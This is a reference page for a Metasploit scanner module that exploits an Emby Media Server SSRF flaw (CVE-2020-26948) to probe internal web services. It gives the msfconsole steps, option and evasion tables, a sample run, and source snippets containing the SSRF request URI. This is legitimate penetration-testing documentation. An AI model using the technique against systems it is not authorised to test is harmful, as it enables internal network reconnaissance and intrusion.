Emby SSRF HTTP Scanner - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/emby_ssrf_scanner metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Emby SSRF HTTP Scanner
Module: auxiliary/scanner/http/emby_ssrf_scanner
Source code: modules/auxiliary/scanner/http/emby_ssrf_scanner.rb
Disclosure date: -
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-26948

Generates a GET request to the provided web servers and executes an SSRF against the targeted EMBY server. Returns the server header, HTML title attribute and location header (if set). This is useful for rapidly identifying web applications on the internal network using the Emby SSRF vulnerability (CVE-2020-26948).

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/emby_ssrf_scanner
msf auxiliary(emby_ssrf_scanner) > show options
    ... show and set options ...
msf auxiliary(emby_ssrf_scanner) > set RHOSTS ip-range
msf auxiliary(emby_ssrf_scanner) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(emby_ssrf_scanner) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(emby_ssrf_scanner) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(emby_ssrf_scanner) > set RHOSTS file:/tmp/ip_list.txt

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

This module has been tested on Emby Media Server versions older than 4.5.

Description

Generates a GET request to the provided web servers and executes an SSRF against the targeted EMBY server. Returns the server header, HTML title, and location header. This is useful for rapidly identifying web applications on the internal network using the Emby SSRF vulnerability (CVE-2020-26948).

Verification Steps

  1. Do: use auxiliary/scanner/http/emby_ssrf_scanner
  2. Do: set rhosts [ips]
  3. Do: set emby_server [emby_server_ip]
  4. Do: run

Options

PORTS

Select which ports to check for HTTP servers internal to the Emby server. Defaults to 80,8080,8081,8888.

EMBY_SERVER

IP address of the Emby server to use. Required.

EMBY_PORT

Emby server access port. Defaults to 8096.

SHOW_TITLES

If set to false, will not show the titles on the console as they are grabbed. Defaults to true.

STORE_NOTES

If set to false, will not store the captured information in notes. Use notes -t http.title to view. Defaults to true.

Scenarios

Emby Server (v4.4.3 on Ubuntu) - Scan Internal 192.168.2.0 Network

msf6 > use auxiliary/scanner/http/emby_ssrf_scanner
msf6 auxiliary(scanner/http/emby_ssrf_scanner) > set emby_server 10.10.200.32
emby_server => 10.10.200.32
msf6 auxiliary(scanner/http/emby_ssrf_scanner) > set rhosts 192.168.2.3
rhosts => 192.168.2.3
msf6 auxiliary(scanner/http/emby_ssrf_scanner) > run

[+] 192.168.2.3:8096 Title: Emby
[+] 192.168.2.3:8096     HTTP Code: 200
[+] 192.168.2.3:8096     Location Header:
[+] 192.168.2.3:8096     Server Header: UPnP/1.0 DLNADOC/1.50
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

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Msfconsole Usage

Here is how the scanner/http/emby_ssrf_scanner auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/emby_ssrf_scanner

msf6 auxiliary(scanner/http/emby_ssrf_scanner) > show info

       Name: Emby SSRF HTTP Scanner
     Module: auxiliary/scanner/http/emby_ssrf_scanner
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Btnz

Check supported:
  No

Basic options:
  Name         Current Setting    Required  Description
  ----         ---------------    --------  -----------
  EMBY_PORT    8096               yes       Web UI port for Emby Server
  EMBY_SERVER                     yes       Emby Web UI IP to use
  PORTS        80,8080,8081,8888  yes       Ports to scan
  Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  SHOW_TITLES  true               yes       Show the titles on the console as they are grabbed
  STORE_NOTES  true               yes       Store the information in notes.
  TARGETURI    /                  no        The URI of the Emby Server
  THREADS      1                  yes       The number of concurrent threads (max one per host)

Description:
  Generates a `GET` request to the provided web servers and executes 
  an SSRF against the targeted EMBY server. Returns the server header, 
  HTML title attribute and location header (if set). This is useful 
  for rapidly identifying web applications on the internal network 
  using the Emby SSRF vulnerability (CVE-2020-26948).

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-26948
  https://github.com/btnz-k/emby_ssrf

Module Options

This is a complete list of options available in the scanner/http/emby_ssrf_scanner auxiliary module:

msf6 auxiliary(scanner/http/emby_ssrf_scanner) > show options

Module options (auxiliary/scanner/http/emby_ssrf_scanner):

   Name         Current Setting    Required  Description
   ----         ---------------    --------  -----------
   EMBY_PORT    8096               yes       Web UI port for Emby Server
   EMBY_SERVER                     yes       Emby Web UI IP to use
   PORTS        80,8080,8081,8888  yes       Ports to scan
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   SHOW_TITLES  true               yes       Show the titles on the console as they are grabbed
   STORE_NOTES  true               yes       Store the information in notes.
   TARGETURI    /                  no        The URI of the Emby Server
   THREADS      1                  yes       The number of concurrent threads (max one per host)

Advanced Options

Here is a complete list of advanced options supported by the scanner/http/emby_ssrf_scanner auxiliary module:

msf6 auxiliary(scanner/http/emby_ssrf_scanner) > show advanced

Module advanced options (auxiliary/scanner/http/emby_ssrf_scanner):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                                yes       Display progress messages during a scan
   ShowProgressPercent   10                                                  yes       The interval in percent that progress should be shown
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/http/emby_ssrf_scanner module can do:

msf6 auxiliary(scanner/http/emby_ssrf_scanner) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/http/emby_ssrf_scanner auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/emby_ssrf_scanner) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

PORTS

Here is a relevant code snippet related to the "PORTS" error message:

41:	
42:	  def run_host(target_host)
43:	    # Do some checking to ensure data is submitted
44:	    # Also converts ports string to list
45:	    dports = Rex::Socket.portspec_crack(datastore['PORTS'])
46:	    raise Msf::OptionValidateError, ['PORTS'] if dports.empty?
47:	
48:	    # loop through the ports
49:	    dports.each do |p|
50:	      vprint_status("Attempting SSRF with target #{target_host}:#{p}")
51:	      uri = "/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://#{target_host}:#{p}"

http://<TARGET_HOST>:<P> - No response

Here is a relevant code snippet related to the "http://<TARGET_HOST>:<P> - No response" error message:

52:	      # not using send_request_cgi due to difference between RHOSTS and EMBY_SERVER
53:	      res = Net::HTTP.get_response(datastore['EMBY_SERVER'], uri, datastore['EMBY_PORT'])
54:	
55:	      # Check for Response
56:	      if res.nil?
57:	        vprint_error("http://#{target_host}:#{p} - No response")
58:	        next
59:	      end
60:	
61:	      # Retrieve the headers to capture the Location and Server header
62:	      server_header = res['server']

<TARGET_HOST>:<P> No HTTP headers

Here is a relevant code snippet related to the "<TARGET_HOST>:<P> No HTTP headers" error message:

62:	      server_header = res['server']
63:	      location_header = res['location']
64:	
65:	      # Check to see if the captured headers are populated
66:	      if server_header.nil? && location_header.nil?
67:	        vprint_error("#{target_host}:#{p} No HTTP headers")
68:	      end
69:	
70:	      # If the body is blank, just stop now as there is no chance of a title
71:	      vprint_error("#{target_host}:#{p} No webpage body") if res.body.nil?
72:

<TARGET_HOST>:<P> No webpage body

Here is a relevant code snippet related to the "<TARGET_HOST>:<P> No webpage body" error message:

66:	      if server_header.nil? && location_header.nil?
67:	        vprint_error("#{target_host}:#{p} No HTTP headers")
68:	      end
69:	
70:	      # If the body is blank, just stop now as there is no chance of a title
71:	      vprint_error("#{target_host}:#{p} No webpage body") if res.body.nil?
72:	
73:	      # Very basic, just match the first title tag we come to. If the match fails,
74:	      # there is no chance that we will have a title
75:	      rx = %r{<title>[\n\t\s]*(?<title>.+?)[\s\n\t]*</title>}im.match(res.body.to_s)
76:	      unless rx

<TARGET_HOST>:<P> No webpage title

Here is a relevant code snippet related to the "<TARGET_HOST>:<P> No webpage title" error message:

72:	
73:	      # Very basic, just match the first title tag we come to. If the match fails,
74:	      # there is no chance that we will have a title
75:	      rx = %r{<title>[\n\t\s]*(?<title>.+?)[\s\n\t]*</title>}im.match(res.body.to_s)
76:	      unless rx
77:	        vprint_error("#{target_host}:#{p} No webpage title")
78:	        next
79:	      end
80:	
81:	      # Last bit of logic to capture the title
82:	      rx[:title].strip!

<TARGET_HOST>:<P> No webpage title

Here is a relevant code snippet related to the "<TARGET_HOST>:<P> No webpage title" error message:

79:	      end
80:	
81:	      # Last bit of logic to capture the title
82:	      rx[:title].strip!
83:	      if rx[:title].empty?
84:	        vprint_error("#{target_host}:#{p} No webpage title")
85:	        next
86:	      end
87:	
88:	      rx_title = Rex::Text.html_decode(rx[:title])
89:	      if datastore['SHOW_TITLES']

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References

See Also

Check also the following modules related to this module:

Authors

Btnz

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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